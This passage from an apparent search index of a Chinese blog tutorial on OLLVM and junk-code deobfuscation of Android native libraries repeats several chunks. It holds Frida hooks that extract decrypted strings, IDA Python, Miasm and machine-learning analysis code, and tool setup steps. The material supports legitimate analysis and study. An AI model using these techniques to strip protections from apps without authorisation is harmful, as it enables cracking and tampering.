","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#441-frida-动态提取"},{"categories":null,"collections":null,"content":"4.4 字符串解密 4.4.1 Frida 动态提取 // Frida 脚本：Hook OLLVM 字符串解密函数 function hook_string_decryption(module_name) { var module = Process.findModuleByName(module_name); if (!module) { console.log(\"Module not found\"); return; } // 搜索解密函数特征 // OLLVM 字符串解密通常有以下特征： // 1. 循环结构 // 2. XOR 或其他位操作 // 3. 访问全局数据段 var decrypted_strings = []; // Hook 常见的字符串使用函数 var strcmp = Module.findExportByName(\"libc.so\", \"strcmp\"); var strstr = Module.findExportByName(\"libc.so\", \"strstr\"); var strlen = Module.findExportByName(\"libc.so\", \"strlen\"); if (strcmp) { Interceptor.attach(strcmp, { onEnter: function(args) { var s1 = args[0].readCString(); var s2 = args[1].readCString(); if (s1 \u0026\u0026 !decrypted_strings.includes(s1)) { decrypted_strings.push(s1); console.log(\"[strcmp] s1: \" + s1); } if (s2 \u0026\u0026 !decrypted_strings.includes(s2)) { decrypted_strings.push(s2); console.log(\"[strcmp] s2: \" + s2); } } }); } // Hook 目标模块中可能的解密函数 Memory.scan(module.base, module.size, \"?? ?? ?? ?? 4A ?? ?? ?? 91\", // ARM64 XOR 模式 { onMatch: function(address, size) { console.log(\"[*] Potential decrypt at: \" + address); // 尝试 Hook 这个位置 try { Interceptor.attach(address, { onLeave: function(retval) { if (!retval.isNull()) { try { var str = retval.readCString(); if (str \u0026\u0026 str.length \u003e 0 \u0026\u0026 str.length \u003c 256) { console.log(\"[DECRYPT] \" + str); decrypted_strings.push(str); } } catch (e) {} } } }); } catch (e) { console.log(\"Hook failed: \" + e); } }, onComplete: function() { console.log(\"[*] Scan complete\"); } } ); return decrypted_strings; } // 主动触发字符串解密 function trigger_decryption(module_name) { var module = Process.findModuleByName(module_name); // 遍历模块导出函数，调用可能触发解密的函数 var exports = module.enumerateExports(); exports.forEach(function(exp) { if (exp.type === 'function' \u0026\u0026 exp.name.includes('init')) { console.log(\"[*] Calling: \" + exp.name); try { var func = new NativeFunction(exp.address, 'void', []); func(); } catch (e) { console.log(\"Call failed: \" + e); } } }); } // 导出解密字符串到文件 function export_strings(strings, output_file) { var file = new File(output_file, 'w'); strings.forEach(function(s) { file.write(s + '\\n'); }); file.close(); console.log(\"[*] Exported \" + strings.length + \" strings to \" + output_file); } 4.4.2 静态解密脚本 # IDA Python 静态字符串解密 import idc import idautils import idaapi class OLLVMStringDecryptor: def __init__(self): self.encrypted_strings = [] self.decrypt_func_addr = None def find_encrypted_data(self): \"\"\"查找加密字符串数据段\"\"\" # 搜索 .rodata 或 .data 段中的加密数据 for seg in idautils.Segments(): seg_name = idc.get_segm_name(seg) if seg_name in ['.rodata', '.data', '__const']: self.scan_segment_for_encrypted(seg) def scan_segment_for_encrypted(self, seg_start): \"\"\"扫描段中的加密数据\"\"\" seg_end = idc.get_segm_end(seg_start) addr = seg_start while addr \u003c seg_end: # 查找被引用的数据 refs = list(idautils.DataRefsTo(addr)) if refs: # 检查是否像加密字符串 data = idc.get_bytes(addr, 32) if self.looks_encrypted(data): self.encrypted_strings.append({ 'address': addr, 'data': data, 'refs': refs }) addr = idc.next_head(addr) def looks_encrypted(self, data): \"\"\"启发式判断数据是否是加密字符串\"\"\" if not data: return False # 检查熵值 entropy = self.calculate_entropy(data) if entropy \u003e 6.0: # 高熵值可能是加密数据 return True # 检查是否有可打印字符 printable_ratio = sum(1 for b in data if 32 \u003c= b \u003c= 126) / len(data) if printable_ratio \u003c 0.3: # 可打印字符少，可能是加密的 return True return False def calculate_entropy(self, data): \"\"\"计算数据熵\"\"\" from collections import Counter import math if not data: return 0 counter = Counter(data) length = len(data) entropy = 0 for count in counter.values(): if count \u003e 0: p = count / length entropy -= p * math.log2(p) return entropy def find_decrypt_function(self): \"\"\"查找解密函数\"\"\" # 特征1: 被多次调用 # 特征2: 参数是加密数据地址 # 特征3: 返回值是字符串指针 for func_ea in idautils.Functions(): func = idaapi.get_func(func_ea) if not func: continue # 检查函数特征 xrefs = list(idautils.CodeRefsTo(func_ea, True)) if len(xrefs) \u003c 3: continue # 检查函数是否访问加密数据 if self.accesses_encrypted_data(func_ea): print(f\"[*] Potential decrypt function at 0x{func_ea:x}\") self.decrypt_func_addr = func_ea return func_ea ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:4:4","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#442-静态解密脚本"},{"categories":null,"collections":null,"content":"5. 高级去混淆工具与技术 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:5:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#5-高级去混淆工具与技术"},{"categories":null,"collections":null,"content":"5.1 开源去混淆工具 5.1.1 D-810 (IDA Pro 插件) # D-810 是一个强大的 OLLVM 去混淆 IDA 插件 # 安装: 将 d810 目录放入 IDA plugins 目录 # D-810 主要功能: # 1. 控制流平坦化去除 # 2. 虚假控制流去除 # 3. 指令替换还原 # 4. MBA (Mixed Boolean-Arithmetic) 表达式化简 # 使用方法: # 1. 在 IDA Pro 中加载目标二进制 # 2. Edit -\u003e Plugins -\u003e D-810 # 3. 选择要处理的函数 # 4. 配置去混淆选项 # 5. 运行分析 # D-810 配置示例 (d810_config.json) d810_config = { \"optimization_passes\": [ \"ConstantFolding\", \"DeadCodeElimination\", \"ControlFlowUnflattening\", \"BogusControlFlowRemoval\", \"InstructionSubstitution\", \"MBASimplification\" ], \"max_iterations\": 10, \"debug_output\": True } 5.1.2 SATURN (符号执行去混淆) # SATURN 使用示例 # 安装 git clone https://github.com/pcy190/saturn cd saturn pip install -r requirements.txt # 运行去混淆 python saturn.py --binary target.so --function 0x1234 --output deflattened.so 5.1.3 Miasm (二进制分析框架) # 使用 Miasm 进行控制流分析和去混淆 from miasm.analysis.binary import Container from miasm.analysis.machine import Machine from miasm.core.locationdb import LocationDB def analyze_with_miasm(binary_path, func_addr): # 加载二进制 loc_db = LocationDB() cont = Container.from_stream(open(binary_path, 'rb'), loc_db) # 获取机器架构 machine = Machine(cont.arch) dis_engine = machine.dis_engine(cont.bin_stream, loc_db=loc_db) # 反汇编函数 asmcfg = dis_engine.dis_multiblock(func_addr) # 构建控制流图 for block in asmcfg.blocks: print(f\"Block at 0x{block.loc_key.offset:x}\") for line in block.lines: print(f\" {line}\") return asmcfg # 符号执行分析 from miasm.ir.symbexec import SymbolicExecutionEngine from miasm.expression.expression import ExprId def symbolic_analyze(asmcfg, machine): # 创建 IR 分析器 ira = machine.ira(asmcfg.loc_db) # 转换为 IR ircfg = ira.new_ircfg_from_asmcfg(asmcfg) # 符号执行 sb = SymbolicExecutionEngine(ira, {}) # 分析每个块的符号状态 for loc_key in ircfg.walk_depth_first_forward(ircfg.heads()[0]): irblock = ircfg.get_block(loc_key) if irblock: sb.eval_updt_irblock(irblock) print(f\"State after block 0x{loc_key.offset:x}:\") for symbol, value in sb.symbols.items(): print(f\" {symbol} = {value}\") ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:5:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#51-开源去混淆工具"},{"categories":null,"collections":null,"content":"5.1 开源去混淆工具 5.1.1 D-810 (IDA Pro 插件) # D-810 是一个强大的 OLLVM 去混淆 IDA 插件 # 安装: 将 d810 目录放入 IDA plugins 目录 # D-810 主要功能: # 1. 控制流平坦化去除 # 2. 虚假控制流去除 # 3. 指令替换还原 # 4. MBA (Mixed Boolean-Arithmetic) 表达式化简 # 使用方法: # 1. 在 IDA Pro 中加载目标二进制 # 2. Edit -\u003e Plugins -\u003e D-810 # 3. 选择要处理的函数 # 4. 配置去混淆选项 # 5. 运行分析 # D-810 配置示例 (d810_config.json) d810_config = { \"optimization_passes\": [ \"ConstantFolding\", \"DeadCodeElimination\", \"ControlFlowUnflattening\", \"BogusControlFlowRemoval\", \"InstructionSubstitution\", \"MBASimplification\" ], \"max_iterations\": 10, \"debug_output\": True } 5.1.2 SATURN (符号执行去混淆) # SATURN 使用示例 # 安装 git clone https://github.com/pcy190/saturn cd saturn pip install -r requirements.txt # 运行去混淆 python saturn.py --binary target.so --function 0x1234 --output deflattened.so 5.1.3 Miasm (二进制分析框架) # 使用 Miasm 进行控制流分析和去混淆 from miasm.analysis.binary import Container from miasm.analysis.machine import Machine from miasm.core.locationdb import LocationDB def analyze_with_miasm(binary_path, func_addr): # 加载二进制 loc_db = LocationDB() cont = Container.from_stream(open(binary_path, 'rb'), loc_db) # 获取机器架构 machine = Machine(cont.arch) dis_engine = machine.dis_engine(cont.bin_stream, loc_db=loc_db) # 反汇编函数 asmcfg = dis_engine.dis_multiblock(func_addr) # 构建控制流图 for block in asmcfg.blocks: print(f\"Block at 0x{block.loc_key.offset:x}\") for line in block.lines: print(f\" {line}\") return asmcfg # 符号执行分析 from miasm.ir.symbexec import SymbolicExecutionEngine from miasm.expression.expression import ExprId def symbolic_analyze(asmcfg, machine): # 创建 IR 分析器 ira = machine.ira(asmcfg.loc_db) # 转换为 IR ircfg = ira.new_ircfg_from_asmcfg(asmcfg) # 符号执行 sb = SymbolicExecutionEngine(ira, {}) # 分析每个块的符号状态 for loc_key in ircfg.walk_depth_first_forward(ircfg.heads()[0]): irblock = ircfg.get_block(loc_key) if irblock: sb.eval_updt_irblock(irblock) print(f\"State after block 0x{loc_key.offset:x}:\") for symbol, value in sb.symbols.items(): print(f\" {symbol} = {value}\") ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:5:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#511-d-810-ida-pro-插件"},{"categories":null,"collections":null,"content":"5.1 开源去混淆工具 5.1.1 D-810 (IDA Pro 插件) # D-810 是一个强大的 OLLVM 去混淆 IDA 插件 # 安装: 将 d810 目录放入 IDA plugins 目录 # D-810 主要功能: # 1. 控制流平坦化去除 # 2. 虚假控制流去除 # 3. 指令替换还原 # 4. MBA (Mixed Boolean-Arithmetic) 表达式化简 # 使用方法: # 1. 在 IDA Pro 中加载目标二进制 # 2. Edit -\u003e Plugins -\u003e D-810 # 3. 选择要处理的函数 # 4. 配置去混淆选项 # 5. 运行分析 # D-810 配置示例 (d810_config.json) d810_config = { \"optimization_passes\": [ \"ConstantFolding\", \"DeadCodeElimination\", \"ControlFlowUnflattening\", \"BogusControlFlowRemoval\", \"InstructionSubstitution\", \"MBASimplification\" ], \"max_iterations\": 10, \"debug_output\": True } 5.1.2 SATURN (符号执行去混淆) # SATURN 使用示例 # 安装 git clone https://github.com/pcy190/saturn cd saturn pip install -r requirements.txt # 运行去混淆 python saturn.py --binary target.so --function 0x1234 --output deflattened.so 5.1.3 Miasm (二进制分析框架) # 使用 Miasm 进行控制流分析和去混淆 from miasm.analysis.binary import Container from miasm.analysis.machine import Machine from miasm.core.locationdb import LocationDB def analyze_with_miasm(binary_path, func_addr): # 加载二进制 loc_db = LocationDB() cont = Container.from_stream(open(binary_path, 'rb'), loc_db) # 获取机器架构 machine = Machine(cont.arch) dis_engine = machine.dis_engine(cont.bin_stream, loc_db=loc_db) # 反汇编函数 asmcfg = dis_engine.dis_multiblock(func_addr) # 构建控制流图 for block in asmcfg.blocks: print(f\"Block at 0x{block.loc_key.offset:x}\") for line in block.lines: print(f\" {line}\") return asmcfg # 符号执行分析 from miasm.ir.symbexec import SymbolicExecutionEngine from miasm.expression.expression import ExprId def symbolic_analyze(asmcfg, machine): # 创建 IR 分析器 ira = machine.ira(asmcfg.loc_db) # 转换为 IR ircfg = ira.new_ircfg_from_asmcfg(asmcfg) # 符号执行 sb = SymbolicExecutionEngine(ira, {}) # 分析每个块的符号状态 for loc_key in ircfg.walk_depth_first_forward(ircfg.heads()[0]): irblock = ircfg.get_block(loc_key) if irblock: sb.eval_updt_irblock(irblock) print(f\"State after block 0x{loc_key.offset:x}:\") for symbol, value in sb.symbols.items(): print(f\" {symbol} = {value}\") ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:5:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#512-saturn-符号执行去混淆"},{"categories":null,"collections":null,"content":"5.1 开源去混淆工具 5.1.1 D-810 (IDA Pro 插件) # D-810 是一个强大的 OLLVM 去混淆 IDA 插件 # 安装: 将 d810 目录放入 IDA plugins 目录 # D-810 主要功能: # 1. 控制流平坦化去除 # 2. 虚假控制流去除 # 3. 指令替换还原 # 4. MBA (Mixed Boolean-Arithmetic) 表达式化简 # 使用方法: # 1. 在 IDA Pro 中加载目标二进制 # 2. Edit -\u003e Plugins -\u003e D-810 # 3. 选择要处理的函数 # 4. 配置去混淆选项 # 5. 运行分析 # D-810 配置示例 (d810_config.json) d810_config = { \"optimization_passes\": [ \"ConstantFolding\", \"DeadCodeElimination\", \"ControlFlowUnflattening\", \"BogusControlFlowRemoval\", \"InstructionSubstitution\", \"MBASimplification\" ], \"max_iterations\": 10, \"debug_output\": True } 5.1.2 SATURN (符号执行去混淆) # SATURN 使用示例 # 安装 git clone https://github.com/pcy190/saturn cd saturn pip install -r requirements.txt # 运行去混淆 python saturn.py --binary target.so --function 0x1234 --output deflattened.so 5.1.3 Miasm (二进制分析框架) # 使用 Miasm 进行控制流分析和去混淆 from miasm.analysis.binary import Container from miasm.analysis.machine import Machine from miasm.core.locationdb import LocationDB def analyze_with_miasm(binary_path, func_addr): # 加载二进制 loc_db = LocationDB() cont = Container.from_stream(open(binary_path, 'rb'), loc_db) # 获取机器架构 machine = Machine(cont.arch) dis_engine = machine.dis_engine(cont.bin_stream, loc_db=loc_db) # 反汇编函数 asmcfg = dis_engine.dis_multiblock(func_addr) # 构建控制流图 for block in asmcfg.blocks: print(f\"Block at 0x{block.loc_key.offset:x}\") for line in block.lines: print(f\" {line}\") return asmcfg # 符号执行分析 from miasm.ir.symbexec import SymbolicExecutionEngine from miasm.expression.expression import ExprId def symbolic_analyze(asmcfg, machine): # 创建 IR 分析器 ira = machine.ira(asmcfg.loc_db) # 转换为 IR ircfg = ira.new_ircfg_from_asmcfg(asmcfg) # 符号执行 sb = SymbolicExecutionEngine(ira, {}) # 分析每个块的符号状态 for loc_key in ircfg.walk_depth_first_forward(ircfg.heads()[0]): irblock = ircfg.get_block(loc_key) if irblock: sb.eval_updt_irblock(irblock) print(f\"State after block 0x{loc_key.offset:x}:\") for symbol, value in sb.symbols.items(): print(f\" {symbol} = {value}\") ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:5:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#513-miasm-二进制分析框架"},{"categories":null,"collections":null,"content":"5.2 基于机器学习的去混淆 # 使用机器学习识别混淆模式 import numpy as np from sklearn.ensemble import RandomForestClassifier from capstone import * class MLObfuscationDetector: def __init__(self): self.classifier = RandomForestClassifier(n_estimators=100) self.md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) self.md.detail = True def extract_features(self, func_binary): \"\"\"从函数二进制中提取特征\"\"\" features = { 'instruction_count': 0, 'unique_opcodes': set(), 'branch_ratio': 0, 'arithmetic_ratio': 0, 'memory_ratio': 0, 'nop_count': 0, 'cfg_complexity': 0, 'entropy': 0 } instructions = list(self.md.disasm(func_binary, 0)) features['instruction_count'] = len(instructions) branch_count = 0 arithmetic_count = 0 memory_count = 0 for insn in instructions: features['unique_opcodes'].add(insn.mnemonic) if insn.mnemonic.startswith('b'): branch_count += 1 elif insn.mnemonic in ['add', 'sub', 'mul', 'xor', 'and', 'orr']: arithmetic_count += 1 elif insn.mnemonic in ['ldr', 'str', 'ldp', 'stp']: memory_count += 1 elif insn.mnemonic == 'nop': features['nop_count'] += 1 if features['instruction_count'] \u003e 0: features['branch_ratio'] = branch_count / features['instruction_count'] features['arithmetic_ratio'] = arithmetic_count / features['instruction_count'] features['memory_ratio'] = memory_count / features['instruction_count'] features['unique_opcodes'] = len(features['unique_opcodes']) features['entropy'] = self.calculate_entropy(func_binary) return self.features_to_vector(features) def features_to_vector(self, features): \"\"\"将特征字典转换为向量\"\"\" return np.array([ features['instruction_count'], features['unique_opcodes'], features['branch_ratio'], features['arithmetic_ratio'], features['memory_ratio'], features['nop_count'], features['entropy'] ]) def calculate_entropy(self, data): \"\"\"计算数据熵\"\"\" from collections import Counter import math if not data: return 0 counter = Counter(data) length = len(data) entropy = 0 for count in counter.values(): if count \u003e 0: p = count / length entropy -= p * math.log2(p) return entropy def train(self, samples, labels): \"\"\"训练分类器 samples: 函数二进制列表 labels: 0=未混淆, 1=花指令, 2=CFF, 3=BCF, 4=指令替换 \"\"\" X = np.array([self.extract_features(s) for s in samples]) self.classifier.fit(X, labels) def predict(self, func_binary): \"\"\"预测混淆类型\"\"\" features = self.extract_features(func_binary) prediction = self.classifier.predict([features])[0] labels = { 0: \"No obfuscation\", 1: \"Junk code\", 2: \"Control flow flattening\", 3: \"Bogus control flow\", 4: \"Instruction substitution\" } return labels.get(prediction, \"Unknown\") # 使用示例 # detector = MLObfuscationDetector() # detector.train(training_samples, training_labels) # result = detector.predict(target_function_binary) ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:5:2","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#52-基于机器学习的去混淆"},{"categories":null,"collections":null,"content":"6. 实战案例分析 💡 思路一句话: 拿到加固 SO → IDA 打开判断混淆类型 → 先跑 d810 自动去混淆 → 不够的部分用 Frida Stalker 动态追踪补全 → 最终还原核心算法。从自动化工具开始，手动分析作为补充。 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:6:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#6-实战案例分析"},{"categories":null,"collections":null,"content":"6.1 案例：某加固 SO 的去混淆分析 6.1.1 初步分析 # 1. 提取目标 SO 文件 # adb pull /data/app/com.target.app/lib/arm64-v8a/libnative.so # 2. IDA Pro 加载分析 import idaapi import idc def initial_analysis(): # 统计函数混淆情况 stats = { 'total_functions': 0, 'suspected_cff': 0, 'suspected_bcf': 0, 'suspected_junk': 0 } for func_ea in idautils.Functions(): stats['total_functions'] += 1 func = idaapi.get_func(func_ea) if not func: continue # 检查控制流平坦化特征 if has_dispatcher_pattern(func_ea): stats['suspected_cff'] += 1 # 检查虚假控制流特征 if has_bcf_pattern(func_ea): stats['suspected_bcf'] += 1 # 检查花指令特征 if has_junk_pattern(func_ea): stats['suspected_junk'] += 1 print(f\"Analysis Results:\") print(f\" Total functions: {stats['total_functions']}\") print(f\" Suspected CFF: {stats['suspected_cff']}\") print(f\" Suspected BCF: {stats['suspected_bcf']}\") print(f\" Suspected Junk: {stats['suspected_junk']}\") return stats def has_dispatcher_pattern(func_ea): \"\"\"检测控制流平坦化分发器模式\"\"\" func = idaapi.get_func(func_ea) flowchart = idaapi.FlowChart(func) # 检查是否存在高入度的基本块（分发器） in_degree = {} for block in flowchart: for pred in block.preds(): in_degree[block.start_ea] = in_degree.get(block.start_ea, 0) + 1 max_in_degree = max(in_degree.values()) if in_degree else 0 return max_in_degree \u003e 5 # 入度大于5可能是分发器 def has_bcf_pattern(func_ea): \"\"\"检测虚假控制流模式\"\"\" # 检查是否有大量从未执行的基本块 # 这需要配合动态分析 return False def has_junk_pattern(func_ea): \"\"\"检测花指令模式\"\"\" nop_count = 0 total_count = 0 for head in idautils.FuncItems(func_ea): total_count += 1 mnem = idc.print_insn_mnem(head).lower() if mnem == 'nop': nop_count += 1 return nop_count \u003e 10 or (total_count \u003e 0 and nop_count / total_count \u003e 0.1) 6.1.2 控制流恢复 // Frida 脚本：动态恢复控制流 function recover_control_flow(module_name, func_offset) { var module = Process.findModuleByName(module_name); var func_addr = module.base.add(func_offset); var state_transitions = []; var current_state = null; Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var instruction = iterator.next(); while (instruction !== null) { var addr = instruction.address; // 在目标函数范围内 if (addr.compare(func_addr) \u003e= 0 \u0026\u0026 addr.compare(func_addr.add(0x1000)) \u003c 0) { // 记录基本块转移 iterator.putCallout(function(context) { var pc = context.pc; var block_addr = get_block_start(pc); if (current_state !== null \u0026\u0026 current_state !== block_addr) { state_transitions.push({ from: current_state, to: block_addr.toString() }); } current_state = block_addr.toString(); }); } iterator.keep(); instruction = iterator.next(); } } }); // 调用目标函数多次以覆盖不同路径 var test_func = new NativeFunction(func_addr, 'int', ['int']); for (var i = 0; i \u003c 100; i++) { try { test_func(i); } catch (e) {} } Stalker.unfollow(); // 分析并输出恢复的 CFG console.log(\"\\n[*] Recovered Control Flow:\"); var unique_transitions = [...new Set(state_transitions.map(JSON.stringify))].map(JSON.parse); unique_transitions.forEach(function(t) { console.log(\" \" + t.from + \" -\u003e \" + t.to); }); // 生成 DOT 格式图 generate_dot_graph(unique_transitions); return unique_transitions; } function get_block_start(addr) { // 简化：返回对齐到 4 字节的地址 return ptr(addr.and(ptr(0xFFFFFFFFFFFFFFFC))); } function generate_dot_graph(transitions) { var dot = \"digraph CFG {\\n\"; dot += \" node [shape=box];\\n\"; transitions.forEach(function(t) { dot += ' \"' + t.from + '\" -\u003e \"' + t.to + '\";\\n'; }); dot += \"}\\n\"; console.log(\"\\n[*] DOT Graph:\"); console.log(dot); // 保存到文件 var file = new File(\"/data/local/tmp/cfg.dot\", \"w\"); file.write(dot); file.close(); } 6.1.3 完整去混淆流程 # 完整的去混淆分析流程 class DeobfuscationPipeline: def __init__(self, binary_path, output_path): self.binary_path = binary_path self.output_path = output_path self.results = {} def run(self): \"\"\"执行完整的去混淆流程\"\"\" print(\"[*] Starting deobfuscation pipeline\") # 1. 初步分析 print(\"\\n[1/6] Initial analysis...\") self.initial_analysis() # 2. 花指令去除 print(\"\\n[2/6] Removing junk code...\") self.remove_junk_code() # 3. 控制流平坦化去除 print(\"\\n[3/6] Deflattening control flow...\") self.deflatten_cff() # 4. 虚假控制流去除 print(\"\\n[4/6] Removing bogus control flow...\") self.remove_bcf() # 5. 指令","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:6:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#61-案例某加固-so-的去混淆分析"},{"categories":null,"collections":null,"content":"6.1 案例：某加固 SO 的去混淆分析 6.1.1 初步分析 # 1. 提取目标 SO 文件 # adb pull /data/app/com.target.app/lib/arm64-v8a/libnative.so # 2. IDA Pro 加载分析 import idaapi import idc def initial_analysis(): # 统计函数混淆情况 stats = { 'total_functions': 0, 'suspected_cff': 0, 'suspected_bcf': 0, 'suspected_junk': 0 } for func_ea in idautils.Functions(): stats['total_functions'] += 1 func = idaapi.get_func(func_ea) if not func: continue # 检查控制流平坦化特征 if has_dispatcher_pattern(func_ea): stats['suspected_cff'] += 1 # 检查虚假控制流特征 if has_bcf_pattern(func_ea): stats['suspected_bcf'] += 1 # 检查花指令特征 if has_junk_pattern(func_ea): stats['suspected_junk'] += 1 print(f\"Analysis Results:\") print(f\" Total functions: {stats['total_functions']}\") print(f\" Suspected CFF: {stats['suspected_cff']}\") print(f\" Suspected BCF: {stats['suspected_bcf']}\") print(f\" Suspected Junk: {stats['suspected_junk']}\") return stats def has_dispatcher_pattern(func_ea): \"\"\"检测控制流平坦化分发器模式\"\"\" func = idaapi.get_func(func_ea) flowchart = idaapi.FlowChart(func) # 检查是否存在高入度的基本块（分发器） in_degree = {} for block in flowchart: for pred in block.preds(): in_degree[block.start_ea] = in_degree.get(block.start_ea, 0) + 1 max_in_degree = max(in_degree.values()) if in_degree else 0 return max_in_degree \u003e 5 # 入度大于5可能是分发器 def has_bcf_pattern(func_ea): \"\"\"检测虚假控制流模式\"\"\" # 检查是否有大量从未执行的基本块 # 这需要配合动态分析 return False def has_junk_pattern(func_ea): \"\"\"检测花指令模式\"\"\" nop_count = 0 total_count = 0 for head in idautils.FuncItems(func_ea): total_count += 1 mnem = idc.print_insn_mnem(head).lower() if mnem == 'nop': nop_count += 1 return nop_count \u003e 10 or (total_count \u003e 0 and nop_count / total_count \u003e 0.1) 6.1.2 控制流恢复 // Frida 脚本：动态恢复控制流 function recover_control_flow(module_name, func_offset) { var module = Process.findModuleByName(module_name); var func_addr = module.base.add(func_offset); var state_transitions = []; var current_state = null; Stalker.follow(Process.getCurrentThreadId(), { transform: function(iterator) { var instruction = iterator.next(); while (instruction !== null) { var addr = instruction.address; // 在目标函数范围内 if (addr.compare(func_addr) \u003e= 0 \u0026\u0026 addr.compare(func_addr.add(0x1000)) \u003c 0) { // 记录基本块转移 iterator.putCallout(function(context) { var pc = context.pc; var block_addr = get_block_start(pc); if (current_state !== null \u0026\u0026 current_state !== block_addr) { state_transitions.push({ from: current_state, to: block_addr.toString() }); } current_state = block_addr.toString(); }); } iterator.keep(); instruction = iterator.next(); } } }); // 调用目标函数多次以覆盖不同路径 var test_func = new NativeFunction(func_addr, 'int', ['int']); for (var i = 0; i \u003c 100; i++) { try { test_func(i); } catch (e) {} } Stalker.unfollow(); // 分析并输出恢复的 CFG console.log(\"\\n[*] Recovered Control Flow:\"); var unique_transitions = [...new Set(state_transitions.map(JSON.stringify))].map(JSON.parse); unique_transitions.forEach(function(t) { console.log(\" \" + t.from + \" -\u003e \" + t.to); }); // 生成 DOT 格式图 generate_dot_graph(unique_transitions); return unique_transitions; } function get_block_start(addr) { // 简化：返回对齐到 4 字节的地址 return ptr(addr.and(ptr(0xFFFFFFFFFFFFFFFC))); } function generate_dot_graph(transitions) { var dot = \"digraph CFG {\\n\"; dot += \" node [shape=box];\\n\"; transitions.forEach(function(t) { dot += ' \"' + t.from + '\" -\u003e \"' + t.to + '\";\\n'; }); dot += \"}\\n\"; console.log(\"\\n[*] DOT Graph:\"); console.log(dot); // 保存到文件 var file = new File(\"/data/local/tmp/cfg.dot\", \"w\"); file.write(dot); file.close(); } 6.1.3 完整去混淆流程 # 完整的去混淆分析流程 class DeobfuscationPipeline: def __init__(self, binary_path, output_path): self.binary_path = binary_path self.output_path = output_path self.results = {} def run(self): \"\"\"执行完整的去混淆流程\"\"\" print(\"[*] Starting deobfuscation pipeline\") # 1. 初步分析 print(\"\\n[1/6] Initial analysis...\") self.initial_analysis() # 2. 花指令去除 print(\"\\n[2/6] Removing junk code...\") self.remove_junk_code() # 3. 控制流平坦化去除 print(\"\\n[3/6] Deflattening control flow...\") self.deflatten_cff() # 4. 虚假控制流去除 print(\"\\n[4/6] Removing bogus control flow...\") self.remove_bcf() # 5. 指令","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:6:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#611-初步分析"},{"categories":null,"collections":null,"content":"6.1 案例：某加固 SO 的去混淆分析 6.1.1 初步分析 # 1. 提取目标 SO 文件 # adb pull /data/app/com.target.app/lib/arm64-v8a/libnative.so # 2. IDA Pro 加载分析 import idaapi import idc def initial_analysis(): # 统计函数混淆情况 stats = { 'total_functions': 0, 'suspected_cff': 0, 'suspected_bcf': 0, 'suspected_junk': 0 } for func_ea in idautils.Functions(): stats['total_functions'] += 1 func = idaapi.get_func(func_ea) if not func: continue # 检查控制流平坦化特征 if has_dispatcher_pattern(func_ea): stats['suspected_cff'] += 1 # 检查虚假控制流特征 if has_bcf_pattern(func_ea): stats['suspected_bcf'] += 1 # 检查花指令特征 if has_junk_pattern(func_ea): stats['suspected_junk'] += 1 print(f\"Analysis Results:\") print(f\" Total functions: {stats['total_functions']}\") print(f\" Suspected CFF: {stats['suspected_cff']}\") print(f\" Suspected BCF: {stats['suspected_bcf']}\") print(f\" Suspected Junk: {stats['suspected_junk']}\") return stats def has_dispatcher_pattern(func_ea): 